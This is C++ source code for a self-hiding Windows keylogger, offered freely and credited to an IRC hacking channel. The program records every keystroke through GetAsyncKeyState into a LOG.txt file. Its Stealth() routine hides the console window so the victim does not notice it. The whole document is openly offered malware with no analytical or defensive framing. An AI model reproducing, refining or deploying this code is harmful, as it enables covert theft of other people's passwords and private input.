Self hiding key logger with log file source...

// Free source! C++ Key Logger, self hiding
// #hackers on EFnet

#include <iostream>
using namespace std;
#include <Windows.h>
#include <WinUser.h>

int Save (int key_stroke, char *file);
void Stealth();

int main()
{
    Stealth();
    char i;

    while (1)
    {
        for(i = 8; i < 190; i++)
        {
            if (GetAsyncKeyState(i) == -32767)
                Save (i,"LOG.txt");
        }
    }
    system("pause");
    return 0;
}

int Save (int key_stroke, char *file)
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    cout << key_stroke << endl;

    if (key_stroke == 8)
    fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key_stroke == 32)
    fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)
    fprintf(OUTPUT_FILE, "%s", "[TAB]");
        else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
        else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
        else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
        else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
        else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
        else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
        else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
        else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
        else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
        else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
        else
        fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
    return 0;
}

void Stealth()
{
  HWND Stealth;
  AllocConsole();
  Stealth = FindWindowA("ConsoleWindowClass", NULL);
  ShowWindow(Stealth,0);
}